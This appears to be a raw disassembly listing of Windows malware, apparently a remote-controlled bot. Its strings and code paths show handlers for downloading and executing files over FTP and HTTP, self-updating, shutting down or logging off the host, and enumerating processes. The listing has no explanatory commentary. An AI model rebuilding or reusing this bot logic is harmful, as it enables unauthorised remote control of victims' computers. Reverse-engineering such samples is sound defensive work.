lea edi, [esi+7Ah]
mov ecx, edi
call sub_40168B
mov cl, [esi+93h]
mov dl, [esi+92h]
push eax
push offset aFtpGetting ; "ftp(getting)"
push ecx
push edx
mov ecx, offset byte_4D8075
call sub_401118
mov eax, [esp+28h+var_14]
lea ecx, [esi+26h]
push eax
push 49h
call sub_4017EE
push eax
mov ecx, ebx
call sub_4017EE
push eax
call sub_4016B3
add esp, 10h
test eax, eax
jnz short loc_41DBF2
mov ecx, edi
call sub_40168B
mov cl, [esi+93h]
mov dl, [esi+92h]
push eax
push offset aFtpBaddl ; "ftp(baddl)"
push ecx
push edx
mov ecx, offset byte_4D8075
call sub_401118
lea eax, [esp+28h+var_18]
mov [esp+28h+var_18], esi
push eax
jmp loc_41E015
; ---------------------------------------------------------------------------
loc_41DBF2: ; CODE XREF: sub_41D930+28Dj
mov ecx, [esp+28h+var_14]
push ecx
call sub_401D66
add esp, 4
jmp loc_41DE7B
; ---------------------------------------------------------------------------
loc_41DC04: ; CODE XREF: sub_41D930+195j
lea ecx, [esp+28h+arg_20]
call sub_40142E
lea ecx, [esp+28h+var_C]
mov [esp+28h+arg_1144], 3
call sub_40142E
push ebp
mov ecx, edi
mov [esp+2Ch+arg_1144], 4
call sub_4017EE
push eax
call sub_401AA0
mov ebx, eax
add esp, 8
cmp ebx, 0FFFFFFFFh
mov [esp+28h+var_14], ebx
jnz short loc_41DC87
lea ecx, [esi+7Ah]
call sub_40168B
mov dl, [esi+93h]
push eax
mov al, [esi+92h]
push offset aHttpBadconnect ; "http(badconnect)"
push edx
push eax
mov ecx, offset byte_4D8075
call sub_401118
lea ecx, [esp+28h+var_18]
mov [esp+28h+var_18], esi
push ecx
mov ecx, offset byte_4E8E9B
call sub_40120D
; ---------------------------------------------------------------------------
db 53h
db 90h
db 0E8h, 0B7h, 0B9h
; ---------------------------------------------------------------------------
imul esi, [ecx-17h], 0BEh
loc_41DC87: ; CODE XREF: sub_41D930+310j
push ebp
mov ecx, edi
call sub_4017EE
push eax
lea ecx, [esi+26h]
call sub_4017EE
push eax
lea edx, [esp+34h+arg_20]
push offset aGetSHttp1_0Con ; "GET %s HTTP/1.0\r\nConnection: Keep-Alive"...
push edx
call sub_40102D
add esp, 14h
lea ecx, [esp+28h+arg_20]
push 0
call sub_4013E3
push eax
lea ecx, [esp+30h+arg_20]
call sub_4017EE
push eax
push ebx
nop
call near ptr 71AB428Ah
lea edi, [esi+7Ah]
mov ecx, edi
call sub_40168B
mov cl, [esi+92h]
push eax
mov al, [esi+93h]
push offset aHttpGetting ; "http(getting)"
push eax
push ecx
mov ecx, offset byte_4D8075
call sub_401118
push offset aWb ; "wb"
lea ecx, [esi+65h]
call sub_4017EE
push eax
nop
call near ptr 77C3F010h
mov ebx, eax
add esp, 8
test ebx, ebx
jnz short loc_41DD80
mov ecx, edi
call sub_40168B
mov dl, [esi+93h]
push eax
mov al, [esi+92h]
push offset aHttpBadopen ; "http(badopen)"
push edx
push eax
mov ecx, offset byte_4D8075
call sub_401118
lea ecx, [esp+38h+var_28]
mov [esp+38h+var_28], esi
push ecx
mov ecx, offset byte_4E8E9B
call sub_40120D
; ---------------------------------------------------------------------------
lea ecx, [esp+38h+var_1C]
mov byte ptr [esp+38h+arg_1134], 3
call sub_401226
lea ecx, [esp+38h+arg_10]
mov byte ptr [esp+38h+arg_1134], 2
call sub_401226
lea ecx, [esp+38h+var_4]
mov [esp+38h+arg_1134], 0FFFFFFFFh
call sub_401226
jmp loc_41E048
; ---------------------------------------------------------------------------
loc_41DD80: ; CODE XREF: sub_41D930+3DBj
; sub_41D930+484j ...
mov eax, [esp+38h+var_24]
push 0
lea edx, [esp+3Ch+arg_12C]
push 1000h
push edx
push eax
call near ptr 71AB615Ah
nop
mov ebp, eax
test ebp, ebp
jle short loc_41DDF8
cmp ebp, 1000h
jge short loc_41DDB0
mov [esp+ebp+48h+arg_11C], 0
loc_41DDB0: ; CODE XREF: sub_41D930+476j
xor edi, edi
test ebp, ebp
jle short loc_41DD80
loc_41DDB6: ; CODE XREF: sub_41D930+4A5j
push 4
lea ecx, [esp+edi+4Ch+arg_11C]
push offset asc_444EC8 ; "\r\n\r\n"
push ecx
call near ptr 77C47A50h
nop
add esp, 0Ch
test eax, eax
jz short loc_41DDD9
inc edi
cmp edi, ebp
jl short loc_41DDB6
jmp short loc_41DD80
; ---------------------------------------------------------------------------
loc_41DDD9: ; CODE XREF: sub_41D930+4A0j
add edi, 4
cmp edi, ebp
jge short loc_41DDF8
loc_41DDE0: ; CODE XREF: sub_41D930+4C6j
movsx edx, [esp+edi+48h+arg_11C]
push ebx
push edx
nop
call near ptr 77C40E76h
add esp, 8
inc edi
cmp edi, ebp
jl short loc_41DDE0
loc_41DDF8: ; CODE XREF: sub_41D930+46Ej
; sub_41D930+4AEj ...
mov edi, [esp+48h+var_34]
push 0
lea eax, [esp+4Ch+arg_11C]
push 1000h
push eax
push edi
call near ptr 71AB615Ah
nop
mov ebp, eax
test ebp, ebp
jle short loc_41DE48
cmp ebp, 1000h
jge short loc_41DE28
mov [esp+ebp+58h+arg_10C], 0
loc_41DE28: ; CODE XREF: sub_41D930+4EEj
xor edi, edi
test ebp, ebp
jle short loc_41DDF8
loc_41DE2E: ; CODE XREF: sub_41D930+514j
movsx ecx, [esp+edi+58h+arg_10C]
push ebx
push ecx
nop
call near ptr 77C40E76h
add esp, 8
inc edi
cmp edi, ebp
jl short loc_41DE2E
jmp short loc_41DDF8
; ---------------------------------------------------------------------------
loc_41DE48: ; CODE XREF: sub_41D930+4E6j
push ebx
nop
call near ptr 77C40AB1h
add esp, 4
push edi
nop
call near ptr 71AB9639h
lea ecx, [esp+5Ch+var_40]
mov [esp+5Ch+arg_1110], 3
call sub_401226
lea ecx, [esp+5Ch+var_10]
mov [esp+5Ch+arg_1110], 2
call sub_401226
loc_41DE7B: ; CODE XREF: sub_41D930+2CFj
mov al, [esi+90h]
test al, al
jnz loc_41DF17
lea ebp, [esi+65h]
mov ecx, ebp
call sub_4017EE
lea edi, [esi+7Ah]
push eax
push offset aDlDone_S_ ; "dl, done. %s ."
mov ecx, edi
call sub_40168B
mov dl, [esi+93h]
push eax
mov al, [esi+92h]
push edx
push eax
push offset byte_4D8075
call sub_401857
mov al, [esi+8Fh]
add esp, 18h
test al, al
jz loc_41E00C
push offset byte_448F30
mov ecx, ebp
call sub_4017EE
push eax
call sub_401299
add esp, 8
mov ecx, ebp
call sub_4017EE
push eax
push offset aOpenS_ ; "open %s."
mov ecx, edi
call sub_40168B
mov cl, [esi+93h]
mov dl, [esi+92h]
push eax
push ecx
push edx
push offset byte_4D8075
call sub_401857
add esp, 18h
jmp loc_41E00C
; ---------------------------------------------------------------------------
loc_41DF17: ; CODE XREF: sub_41D930+553j
lea ebx, [esi+65h]
mov ecx, ebx
call sub_4017EE
lea edi, [esi+7Ah]
push eax
push offset aDlEdUpdateS ; "dl'ed-update: %s"
mov ecx, edi
call sub_40168B
mov cl, [esi+92h]
push eax
mov al, [esi+93h]
push eax
push ecx
push offset byte_4D8075
call sub_401857
push 0
push 5
push 14h
push 1
push 4
push 10h
push 15h
lea edx, [esp+90h+var_40]
push 51h
push edx
call sub_4019C4
add esp, 3Ch
mov ecx, eax
mov [esp+5Ch+arg_1110], 5
call sub_4014DD
push eax
mov ecx, ebx
call sub_4014DD
push eax
call sub_402167
add esp, 8
lea ecx, [esp+5Ch+var_40]
mov bl, al
mov [esp+5Ch+arg_1110], 2
call sub_401226
test bl, bl
jz short loc_41DFE7
mov al, byte_449896
test al, al
jz short loc_41DFB6
push offset dword_449834
mov ecx, offset dword_44AD70
call sub_401451
loc_41DFB6: ; CODE XREF: sub_41D930+675j
mov al, byte_4498DF
test al, al
jz short loc_41DFCE
push offset byte_44990F
mov ecx, offset dword_44AD70
call sub_401951
loc_41DFCE: ; CODE XREF: sub_41D930+68Dj
mov ecx, offset dword_44AD70
call sub_401E79
push 1
mov byte_4E8E44, 0
nop
call near ptr 77C39E7Eh
loc_41DFE7: ; CODE XREF: sub_41D930+66Cj
mov ecx, edi
call sub_4014DD
mov cl, [esi+92h]
push eax
mov al, [esi+93h]
push offset aExec_error ; "exec.error"
push eax
push ecx
mov ecx, offset byte_4D8075
call sub_401118
loc_41E00C: ; CODE XREF: sub_41D930+597j
; sub_41D930+5E2j
mov [esp+60h+var_48], esi
lea edx, [esp+60h+var_48]
loc_41E014: ; CODE XREF: sub_41D930+1E7j
push edx
loc_41E015: ; CODE XREF: sub_41D930+23Ej
; sub_41D930+2BDj
mov ecx, offset byte_4E8E9B
call sub_40120D
; ---------------------------------------------------------------------------
lea ecx, [esp+60h+var_2C]
mov [esp+60h+arg_110C], 0FFFFFFFFh
call sub_401226
jmp short loc_41E048
; ---------------------------------------------------------------------------
loc_41E035: ; CODE XREF: sub_41D930+36j
; sub_41D930+4Dj ...
mov [esp+1Ch+var_C], esi
lea eax, [esp+1Ch+var_C]
loc_41E03D: ; CODE XREF: sub_41D930+9Cj
push eax
mov ecx, offset byte_4E8E9B
call sub_40120D
sub_41D930 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41D930
loc_41E048: ; CODE XREF: sub_41D930+44Bj
; sub_41D930+703j
mov ecx, [esp+38h+arg_112C]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
mov large fs:0, ecx
add esp, 1164h
retn
; END OF FUNCTION CHUNK FOR sub_41D930
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 1D0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_41E240 proc near ; CODE XREF: sub_401BA4j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41E240
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push 0
push 14h
push 0Fh
push 0Fh
push 2
push 5
push 12h
push 4Fh
push 3
lea eax, [esp+64h+var_3C]
push 10h
mov esi, ecx
push eax
call sub_4019C4
add esp, 2Ch
push esi
mov ecx, eax
mov [esp+44h+var_4], 0
call sub_4017EE
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_449118
call sub_40159B
sub_41E240 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
push 0
push 0Eh
push 17h
push 0Fh
push 4
push 14h
push 15h
push 8
push 13h
push 4Fh
push 3
lea edx, [esp+30h]
push 10h
push edx
call sub_4019C4
add esp, 34h
push esi
mov ecx, eax
mov dword ptr [esp+40h], 1
call sub_4017EE
push eax
lea eax, [esi+32h]
push eax
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
push 0
push 6
push 6
push 0Fh
push 7
push 0Fh
push 0Ch
push 4Fh
push 3
lea ecx, [esp+40h]
push 10h
push ecx
call sub_4019C4
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+40h], 2
call sub_4017EE
add esi, 60h
push eax
push esi
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+1Ch]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+34h]
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41E3C0: ; CODE XREF: ___:loc_4010B4j
push ebx
push esi
push edi
mov edi, [esp+10h]
mov esi, ecx
lea ebx, [edi+7Eh]
lea ecx, [esi+4]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz short loc_41E41B
push offset dword_444FCC
lea ecx, [edi+69h]
call sub_40168B
mov cl, [edi+93h]
push eax
mov al, [edi+94h]
push eax
push ecx
push offset byte_4D8075
call sub_401857
add esp, 14h
push 0
push 6
nop
call near ptr 28D0000h
pop edi
pop esi
xor al, al
pop ebx
retn 4
; ---------------------------------------------------------------------------
loc_41E41B: ; CODE XREF: ___:0041E3DEj
lea ecx, [esi+32h]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz short loc_41E46A
push offset aSysSd ; "sys(sd)"
lea ecx, [edi+69h]
call sub_40168B
mov dl, [edi+94h]
push eax
mov al, [edi+93h]
push edx
push eax
push offset byte_4D8075
call sub_401857
add esp, 14h
push 0
push 5
call near ptr 28D0000h
nop
pop edi
pop esi
xor al, al
pop ebx
retn 4
; ---------------------------------------------------------------------------
loc_41E46A: ; CODE XREF: ___:0041E42Dj
lea ecx, [esi+60h]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz short loc_41E4B1
push offset aSysLogoff ; "sys(logoff)"
lea ecx, [edi+69h]
call sub_40168B
mov cl, [edi+94h]
mov dl, [edi+93h]
push eax
push ecx
push edx
push offset byte_4D8075
call sub_401857
add esp, 14h
push 0
push 4
nop
call near ptr 28D0000h
loc_41E4B1: ; CODE XREF: ___:0041E47Cj
pop edi
pop esi
xor al, al
pop ebx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_41E500 proc near ; CODE XREF: sub_401F7Dj
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41E500
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 14h
push 13h
push 9
push 0Ch
push 4Fh
push 0Ch
push 12h
push 14h
push 3
lea eax, [esp+6Ch+var_3C]
push 10h
mov esi, ecx
push eax
call sub_4019C4
add esp, 30h
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_4017EE
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_449118
call sub_40159B
sub_41E500 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 0Ch
push 0Ch
push 9
push 0Bh
push 4Fh
push 0Ch
push 12h
push 14h
push 3
lea edx, [esp+30h]
push 10h
push edx
call sub_4019C4
add esp, 30h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 1
call sub_4017EE
push eax
lea eax, [esi+32h]
push eax
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 3
push 16h
push 13h
push 14h
push 13h
push 9
push 0Ch
push 4Fh
push 0Ch
push 12h
push 14h
push 3
lea ecx, [esp+3Ch]
push 10h
push ecx
call sub_4019C4
add esp, 3Ch
mov dword ptr [esp+40h], 2
push esi
mov ecx, eax
call sub_4017EE
lea edx, [esi+8Eh]
push eax
push edx
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 3
push 16h
push 13h
push 0Ch
push 0Ch
push 9
push 0Bh
push 4Fh
push 0Ch
push 12h
push 14h
push 3
lea eax, [esp+3Ch]
push 10h
push eax
call sub_4019C4
add esp, 3Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 3
call sub_4017EE
lea ecx, [esi+0BCh]
push eax
push ecx
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 4
push 9
push 10h
push 0Ch
push 0Ch
push 9
push 0Bh
push 4Fh
push 0Ch
push 12h
push 14h
push 3
lea edx, [esp+54h]
push 10h
push edx
call sub_4019C4
add esp, 3Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 4
call sub_4017EE
add esi, 60h
push eax
push esi
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+20h]
mov [esp+40h], edi
call sub_401226
mov ecx, [esp+38h]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41E760 proc near ; CODE XREF: sub_40161Dj
var_50 = dword ptr -50h
var_4C = byte ptr -4Ch
var_48 = byte ptr -48h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_41E760
push eax
mov large fs:0, esp
sub esp, 44h
push ebx
push ebp
push esi
mov esi, [esp+5Ch+arg_0]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+4]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_41E8FA
lea eax, [esp+60h+arg_0]
lea ecx, [esp+60h+var_48]
push eax
call sub_4018E8
; ---------------------------------------------------------------------------
lea ecx, [esp+60h+var_48]
mov [esp+60h+var_4], 0
push ecx
call sub_4011D6
add esp, 4
test al, al
jz loc_41E8E2
push 0
push 7Bh
push 25h
push 9
push 25h
push 25h
push 9
push 5
push 1Dh
push 23h
push 1Fh
lea edx, [esp+8Ch+var_3C]
push 79h
push edx
call sub_4019C4
add esp, 34h
mov edi, eax
lea ebx, [esi+69h]
mov byte ptr [esp+60h+var_4], 1
mov ecx, ebx
call sub_4014DD
push eax
mov ecx, edi
call sub_40168B
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
mov ecx, offset byte_4D8075
call sub_401118
lea ecx, [esp+60h+var_3C]
mov byte ptr [esp+60h+var_4], 0
call sub_401226
lea ecx, [esp+60h+var_50]
call sub_40170D
lea edx, [esp+60h+var_4C]
lea ecx, [esp+60h+var_48]
push edx
xor edi, edi
call sub_4014E2
mov eax, [eax]
lea ecx, [esp+60h+var_4C]
push ecx
lea ecx, [esp+64h+var_48]
mov [esp+64h+var_50], eax
call sub_40197E
push eax
lea ecx, [esp+64h+var_50]
call sub_401811
test al, al
jz short loc_41E8E2
mov ebp, dword_5118D8
loc_41E86E: ; CODE XREF: sub_41E760+180j
lea ecx, [esp+60h+var_50]
inc edi
call sub_40122B
mov ecx, eax
call sub_4017EE
push eax
lea ecx, [esp+64h+var_50]
call sub_40122B
mov edx, [eax+15h]
mov ecx, ebx
push edx
push edi
push offset aD_PidDS ; "%d. - Pid: %d - \"%s\""
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D8075
call sub_401857
add esp, 20h
push 5DCh
call ebp
lea ecx, [esp+60h+var_50]
call sub_40107D
lea edx, [esp+60h+var_4C]
lea ecx, [esp+60h+var_48]
push edx
call sub_40197E
push eax
lea ecx, [esp+64h+var_50]
call sub_401811
test al, al
jnz short loc_41E86E
loc_41E8E2: ; CODE XREF: sub_41E760+62j
; sub_41E760+106j
lea ecx, [esp+60h+var_48]
mov [esp+60h+var_4], 0FFFFFFFFh
call sub_401825
; ---------------------------------------------------------------------------
mov al, 1
jmp loc_41ED17
; ---------------------------------------------------------------------------
loc_41E8FA: ; CODE XREF: sub_41E760+37j
lea ecx, [edi+32h]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_41E9EE
push offset asc_444600 ; " "
lea eax, [esp+64h+var_3C]
push 1
push eax
mov ecx, esi
call sub_4016B8
push offset byte_448F30
mov ecx, eax
mov [esp+64h+var_4], 2
call sub_4012EE
test eax, eax
setz bl
or edi, 0FFFFFFFFh
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
test bl, bl
jnz loc_41ED15
push offset asc_444600 ; " "
lea ecx, [esp+64h+var_3C]
push 1
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+60h+var_4], 3
call sub_4017EE
push eax
call sub_401604
; ---------------------------------------------------------------------------
add esp, 4
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
push offset asc_444600 ; " "
lea edx, [esp+64h+var_3C]
push 1
push edx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+60h+var_4], 4
call sub_4014DD
push eax
push offset dword_444FFC
lea ecx, [esi+69h]
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D8075
call sub_401857
add esp, 18h
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
mov al, 1
jmp loc_41ED17
; ---------------------------------------------------------------------------
loc_41E9EE: ; CODE XREF: sub_41E760+1ACj
lea ecx, [edi+8Eh]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_41EB55
lea edx, [esp+60h+arg_0]
lea ecx, [esp+60h+var_48]
push edx
call sub_4016EA
; ---------------------------------------------------------------------------
lea eax, [esp+60h+var_48]
mov ebx, 5
push eax
mov [esp+64h+var_4], ebx
call sub_402162
add esp, 4
test al, al
jz loc_41EB3D
push 0
push 3Eh
push 13h
push ebx
push 3
push 9
push 16h
push 12h
push ebx
push 13h
lea ecx, [esp+88h+var_3C]
push 3Dh
push ecx
call sub_4019C4
add esp, 30h
mov edi, eax
lea ebp, [esi+69h]
mov byte ptr [esp+60h+var_4], 6
mov ecx, ebp
call sub_4014DD
push eax
mov ecx, edi
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov ecx, offset byte_4D8075
call sub_401118
lea ecx, [esp+60h+var_3C]
mov byte ptr [esp+60h+var_4], bl
call sub_401226
lea ecx, [esp+60h+var_50]
call sub_401B54
lea ecx, [esp+60h+var_4C]
xor edi, edi
push ecx
lea ecx, [esp+64h+var_48]
call sub_401465
mov edx, [eax]
lea eax, [esp+60h+var_4C]
push eax
lea ecx, [esp+64h+var_48]
mov [esp+64h+var_50], edx
call sub_4013F7
push eax
lea ecx, [esp+64h+var_50]
call sub_4012BC
test al, al
jz short loc_41EB3D
mov ebx, dword_5118D8
loc_41EAD6: ; CODE XREF: sub_41E760+3DBj
lea ecx, [esp+60h+var_50]
inc edi
call sub_401055
mov ecx, eax
call sub_4017EE
push eax
push edi
push offset dword_444FF0
mov ecx, ebp
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D8075
call sub_401857
add esp, 1Ch
push 5DCh
call ebx
lea ecx, [esp+60h+var_50]
call sub_401839
lea eax, [esp+60h+var_4C]
lea ecx, [esp+60h+var_48]
push eax
call sub_4013F7
push eax
lea ecx, [esp+64h+var_50]
call sub_4012BC
test al, al
jnz short loc_41EAD6
loc_41EB3D: ; CODE XREF: sub_41E760+2CFj
; sub_41E760+36Ej
lea ecx, [esp+60h+var_48]
mov [esp+60h+var_4], 0FFFFFFFFh
call sub_401253
; ---------------------------------------------------------------------------
mov al, 1
jmp loc_41ED17
; ---------------------------------------------------------------------------
loc_41EB55: ; CODE XREF: sub_41E760+2A3j
lea ecx, [edi+0BCh]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_41EC4C
push offset asc_444600 ; " "
lea ecx, [esp+64h+var_3C]
push 1
push ecx
mov ecx, esi
call sub_4016B8
push offset byte_448F30
mov ecx, eax
mov [esp+64h+var_4], 7
call sub_4012EE
test eax, eax
setz bl
or edi, 0FFFFFFFFh
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
test bl, bl
jnz loc_41ED15
push offset asc_444600 ; " "
lea edx, [esp+64h+var_3C]
push 1
push edx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+60h+var_4], 8
call sub_4017EE
push eax
call sub_401A0A
add esp, 4
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
push offset asc_444600 ; " "
lea eax, [esp+64h+var_3C]
push 1
push eax
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+60h+var_4], 9
call sub_4014DD
push eax
push offset dword_444FE8
lea ecx, [esi+69h]
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D8075
call sub_401857
add esp, 18h
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
mov al, 1
jmp loc_41ED17
; ---------------------------------------------------------------------------
loc_41EC4C: ; CODE XREF: sub_41E760+40Aj
lea ecx, [edi+60h]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_41ED15
push offset asc_444600 ; " "
lea eax, [esp+64h+var_3C]
push 1
push eax
mov ecx, esi
call sub_4016B8
push offset byte_448F30
mov ecx, eax
mov [esp+64h+var_4], 0Ah
call sub_4012EE
test eax, eax
setz bl
or edi, 0FFFFFFFFh
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
test bl, bl
jnz short loc_41ED15
push offset asc_444600 ; " "
lea ecx, [esp+64h+var_24]
push 1
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+60h+var_4], 0Bh
call sub_4017EE
push eax
call near ptr 77C1BF18h
nop
add esp, 4
lea ecx, [esp+60h+var_24]
mov ebx, eax
mov [esp+60h+var_4], edi
call sub_401226
test ebx, ebx
jz short loc_41ED15
push ebx
push offset dword_444FDC
lea ecx, [esi+69h]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D8075
call sub_401857
push ebx
call sub_4018B6
add esp, 1Ch
jmp short loc_41ED17
; ---------------------------------------------------------------------------
loc_41ED15: ; CODE XREF: sub_41E760+1F0j
; sub_41E760+44Ej ...
xor al, al
loc_41ED17: ; CODE XREF: sub_41E760+195j
; sub_41E760+289j ...
mov ecx, [esp+60h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 50h
retn 4
sub_41E760 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 180h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41EEB0: ; CODE XREF: ___:loc_402004j
push ebp
mov ebp, esp
push 0FFFFFFFFh
push (offset asc_43C4EA+26h)
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push ebx
push esi
push edi
mov edi, dword_5118D8
mov [ebp-10h], esp
mov esi, ecx
mov dword ptr [ebp-4], 0
loc_41EEE0: ; CODE XREF: ___:0041EEF1j
mov al, [esi+0ABh]
test al, al
jnz short loc_41EEF3
push 3E8h
call edi
jmp short loc_41EEE0
; ---------------------------------------------------------------------------
loc_41EEF3: ; CODE XREF: ___:0041EEE8j
mov al, [esi+0ACh]
lea ecx, [esi+15h]
push eax
push ecx
mov ecx, offset byte_449277
call sub_401A41
lea edx, [ebp-14h]
mov ecx, offset byte_4E8E9B
push edx
mov [ebp-14h], esi
call sub_40120D
; ---------------------------------------------------------------------------
loc_41EF19: ; DATA XREF: ___:loc_41EF2Co
mov ecx, [ebp-0Ch]
pop edi
pop esi
xor eax, eax
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41EF2C: ; DATA XREF: ___:00442554o
mov eax, offset loc_41EF19
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41EF70 proc near ; CODE XREF: sub_401DFCj
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, [esp+arg_0]
push esi
mov esi, ecx
mov [esi+11h], eax
mov cl, [eax+94h]
mov [esi+0A9h], cl
mov dl, [eax+93h]
mov [esi+0A8h], dl
mov cl, [eax+95h]
add eax, 15h
mov [esi+0AAh], cl
push eax
lea ecx, [esi+2Ah]
call sub_401FDC
mov edx, [esi+11h]
lea ecx, [esi+69h]
add edx, 54h
push edx
call sub_401FDC
mov eax, [esi+11h]
lea ecx, [esi+54h]
add eax, 3Fh
push eax
call sub_401FDC
mov ecx, [esi+11h]
add ecx, 2Ah
push ecx
lea ecx, [esi+3Fh]
call sub_401FDC
mov edx, [esi+11h]
lea ecx, [esi+15h]
push edx
call sub_401FDC
mov al, [esp+4+arg_4]
mov byte ptr [esi+0ABh], 1
mov [esi+0ACh], al
pop esi
retn 8
sub_41EF70 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41F030 proc near ; CODE XREF: sub_4020C7j
var_DC = dword ptr -0DCh
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = dword ptr -0A0h
var_9C = dword ptr -9Ch
var_94 = byte ptr -94h
var_88 = dword ptr -88h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_68 = dword ptr -68h
var_64 = byte ptr -64h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = byte ptr -54h
var_44 = byte ptr -44h
var_34 = dword ptr -34h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
arg_0 = byte ptr 4
arg_8 = byte ptr 0Ch
arg_14 = dword ptr 18h
arg_18 = byte ptr 1Ch
arg_20 = byte ptr 24h
arg_38 = byte ptr 3Ch
arg_50 = byte ptr 54h
arg_68 = byte ptr 6Ch
arg_80 = byte ptr 84h
arg_88 = byte ptr 8Ch
arg_A8 = byte ptr 0ACh
arg_E4 = byte ptr 0E8h
